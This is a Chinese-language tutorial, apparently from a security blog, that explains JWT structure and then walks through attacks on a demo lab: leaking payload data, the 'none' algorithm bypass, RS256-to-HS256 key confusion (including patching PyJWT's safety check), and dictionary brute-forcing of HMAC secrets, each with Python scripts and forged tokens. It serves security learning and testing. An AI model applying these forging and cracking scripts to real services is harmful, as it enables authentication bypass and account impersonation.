当你迷茫时,就去学习新东西

初探JWT

0x01 什么是JWT

JWT 全称为 JSON Web Tokens ,是为了在网络应用环境间传递声明而执行的一种基于JSON 的开放标准 (RFC 7519),该 token 被设计为紧凑且安全的,它的两大使用场景是:认证和数据交换,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

0x02 JWT组成

一个JWT实际上就是一个字符串,它由三部分组成,头部载荷签名,中间用 . 分隔,例如:xxxxx.yyyyy.zzzzz

2.1 头部(header)

头部通常由两部分组成:令牌的类型(即 JWT)和正在使用的签名算法(如 HMAC SHA256 或 RSA.)。

1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

然后用 Base64url 编码得到头部,即 xxxxx

Base64URL算法

该算法和常见Base64算法类似,稍有差别。Base64中用的三个字符是”+”,”/“和”=”,由于在URL中有特殊含义,因此Base64URL中对他们做了替换:”=”去掉,”+”用”-“替换,”/“用”_”替换,这就是Base64URL算法。

2.2 载荷(Payload)

载荷中放置了 token 的一些基本信息,以帮助接收它的服务器来理解这个 token。同时还可以包含一些自定义的信息。

JWT 官方规定了7个,也就是预定义(Registered claims)的载荷,供选用。

1
2
3
4
5
6
7
8
9
{
"sub": "1",
"iss": "http://localhost:8000/auth/login",
"iat": 1451888119,
"exp": 1454516119,
"nbf": 1451888119,
"jti": "37c107e4609ddbcc9c096ea5ee76c667",
"aud": "dev"
}

sub (subject):主题

iss (issuer):签发人

iat (Issued At):签发时间

exp (expiration time):过期时间

nbf (Not Before):生效时间

jti (JWT ID):编号

aud (audience):受众

除了以上字段之外,你完全可以添加自己想要的任何字段,这里还是提醒一下,由于JWT的标准,信息是不加密的,所以一些敏感信息最好不要添加到json里面

1
2
3
4
{
"Name":"admin",
"Age":18
}

将上面的 json 进行 Base64url 编码得到载荷,即 yyyyy

2.3 签名(Signature)

签名时需要用到编码过的header、编码过的payload、一个秘钥(这个秘钥只有服务端知道),签名算法是header中指定的那个,如果以 HMACSHA256 加密,就如下:

1
2
3
4
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)

加密后再进行 Base64url 编码最后得到的字符串就是 token 的第三部分 zzzzz

组合便可以得到 token:xxxxx.yyyyy.zzzzz

签名的作用:保证 JWT 没有被篡改过,原理如下:

HMAC 算法是不可逆算法,类似 MD5 和 hash ,但多一个密钥,密钥(即上面的 secret)由服务端持有,客户端把 token 发给服务端后,服务端可以把其中的头部和载荷再加上事先的 secret 再进行一次 HMAC 加密,得到的结果和 token 的第三段进行对比,如果一样则表明数据没有被篡改。

注意:secret是保存在服务器端的,jwt的签发生成也是在服务器端的,secret就是用来进行jwt的签发和jwt的验证,所以,它就是你服务端的私钥,在任何场景都不应该流露出去。一旦客户端得知这个secret, 那就意味着客户端是可以自我签发jwt了。

看一张图就明白了:https://jwt.io/

image-20210305142629387

0x03 渗透测试中的JWT

3.1 敏感信息泄露

显然,由于有效载荷是以明文(Base64url只是一种编码方式)形式传输的,因此,如果有效载荷中存在敏感信息的话,就会发生信息泄露。

3.2 将签名算法改为none

签名算法可以确保JWT在传输过程中不会被恶意用户所篡改,但头部中的alg字段却可以改为none

另外,一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证。

将alg字段改为none后,系统就会从JWT中删除相应的签名数据(这时,JWT就会只含有头部 + ‘.’ + 有效载荷 + ‘.’),然后将其提交给服务器。

靶场:https://github.com/Sjord/jwtdemo/

http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php 靶场作为实验

image-20210305164337558

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTYxNDkzMzgwMywiZXhwIjoxNjE0OTM1MDAzLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.leCmAQCAuPZiAnnZLj6yUvL2WJ2R9oXZAgvtg04cRC8

如图,当前 jwt 指定的 alg 为 HS256 算法

image-20210305164732797

取出JWT中的头部eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9解码后,将算法HS256改为none,再使用Base64url编码,结果为 ewogICJ0eXAiOiAiSldUIiwKICAiYWxnIjogIm5vbmUiCn0 ,将结果替换原始的header,再加上自己修改好的载荷(payload),然后删除签名,但保留最后一个点,将其发送到演示页面,看 server 端是否接受 none 算法,从而绕过了算法签名。

https://jwt.io/ 将 alg 为 none 视为恶意行为,所以,无法通过在线工具生成 JWT, 可以自己用Base64url编码后组合,也可以使用下面代码

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python3
# -*- coding:utf-8 -*-
# @Author : yhy
import jwt

print(jwt.encode({
"iss": "http://demo.sjoerdlangkemper.nl/",
"iat": 1614933803,
"exp": 1614935003,
"data": {
"hello": "world"
}
}, key='', algorithm='none'))

另外,某些 JWT 实现对大小写敏感,所以,当none不通过时,可以继续尝试 None、nOne、NONE等等。上述代码只支持none,其它的请自行使用Base64url编码。

1
ewogICJ0eXAiOiAiSldUIiwKICAiYWxnIjogIm5vbmUiCn0.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTYxNDkzMzgwMywiZXhwIjoxNjE0OTM1MDAzLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.

攻击成功

image-20210305170222663

3.3 非对称加密向下降级为对称加密(将RS256算法改为HS256)

现在大多数应用使用的算法方案都采用 RSA 非对称加密,server 端保存私钥,用来签发 jwt,对传回来的 jwt 使用公钥解密验证。

如果后端的验证是根据header的alg选择算法,并且支持 HS256 对称加密算法, 碰到这种情况,我们可以修改 alg 为 HS256 对称加密算法,然后使用我们可以获取到的公钥作为 key 进行签名加密(ps:在靶场中我们是直接获取,在实战中,如果是对客户进行服务的话,我们可以让客户提供公钥,毕竟只是一个公钥,为了详细测出系统漏洞,这应该是被允许的,另一个可能的来源是服务器的TLS证书,从证书中导出公钥),这样一来,当我们将 jwt 传给 server 端的时候,server 端因为默认使用的是公钥解密,而算法为修改后的 HS256 对称加密算法,此时即不存在公钥私钥问题,因为对称密码算法只有一个key,所以肯定可以正常解密解析,从而绕过了算法限制。

当 server 端严格指定只允许使用 HMAC 或者 RSA 算法其中一种时候,那这种攻击手段是没有效果的。

使用靶场进行此次攻击 http://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php 这是RS256加密

image-20210306151929356

从源码中,我们也可以看到它需要一个RS256签名,但也接受一个HS256签名。

image-20210306151610286

靶场的公钥获取:http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

image-20210305172812817

将公钥保存为public.pem一定要在最后空一行一定要在最后空一行一定要在最后空一行,重要的事情说三遍

image-20210306151222844

运行脚本(打靶场时请将{…}中的值修改,如果您现在提交,它将失败,因为它已经过期)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python3
# -*- coding:utf-8 -*-
# @Author : yhy
# jwt 非对称加密,改为对称加密 ,需要公钥
import jwt

public = open('public.pem', 'r').read() # 公钥
print(jwt.encode({
"iss": "http://demo.sjoerdlangkemper.nl/",
"iat": 1615015143,
"exp": 1615016343,
"data": {
"JWT": "RS256 -> HS256 test "
}
}, key=public, algorithm='HS256'))
1
2
python3 -m pip install PyJWT
python3 jwt_test.py

image-20210305211926691

如果出现以上错误,请执行

1
2
3
python3 -m pip uninstall jwt
python3 -m pip uninstall PyJWT
python3 -m pip install PyJWT

运行

image-20210305213239054

查资料说是因为jwt模块更新后,为了防止滥用,加入了强校验,如果指定算法为 HS256 而提供 RSA 的公钥作为 key 时会报错,无法往下执行,需要注释掉 site-packages/jwt/algorithms.py 中的如下五行:

image-20210305213418057

成功运行

image-20210306152103157

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vZGVtby5zam9lcmRsYW5na2VtcGVyLm5sLyIsImlhdCI6MTYxNTAxNTE0MywiZXhwIjoxNjE1MDE2MzQzLCJkYXRhIjp7IkpXVCI6IlJTMjU2IC0-IEhTMjU2IHRlc3QgIn19.HWN7y4FVaRZMNHiCWwcGuEOruLpPYKw_UOtNj4iXbC8

提交JWT,攻击成功

image-20210306152039256

3.4 暴力破解密钥

当 alg 指定 HMAC 类对称加密算法时,可以进行针对 key 的暴力破解,比如当算法为HS256,HS256算法使用密钥对消息进行签名和验证,如果知道密钥,则可以创建自己的签名消息。所有当密钥不够牢固时,则可以使用蛮力或字典攻击将其破解。

靶场:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

使用python脚本进行字典破解,将下方的 jwt_json 换成自己的值,字典可以从 https://github.com/wallarm/jwt-secrets 获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python3
# -*- coding:utf-8 -*-
# @Author : yhy
# jwt 暴力破解脚本

import jwt

jwt_json='eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTYxNTAyMTAzNiwiZXhwIjoxNjE1MDIyMjM2LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.x_ENVoZZRSDnjUqKHOAOYvTDrAtzfLw-_i02Qqry7so'

with open('jwt.secrets.list', encoding='utf-8') as f:
for line in f:
key = line.strip()
try:
jwt.decode(jwt_json, verify=True, key=key, algorithms='HS256')
print('found key! --> ' + key)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key)
break
except(jwt.exceptions.InvalidSignatureError):
print('verify key! -->' + key)
continue
else:
print("key not found!")

运行

image-20210306165921066

爆破出密钥为:secret,借助 https://jwt.io/#debugger 即可进行消息的恶意伪造,篡改,

image-20210306165956842

将左侧 jwt 复制发送,攻击成功

image-20210306170013690

字典跑不出时,还可以使用 https://github.com/brendan-rius/c-jwt-cracker 工具进行暴力破解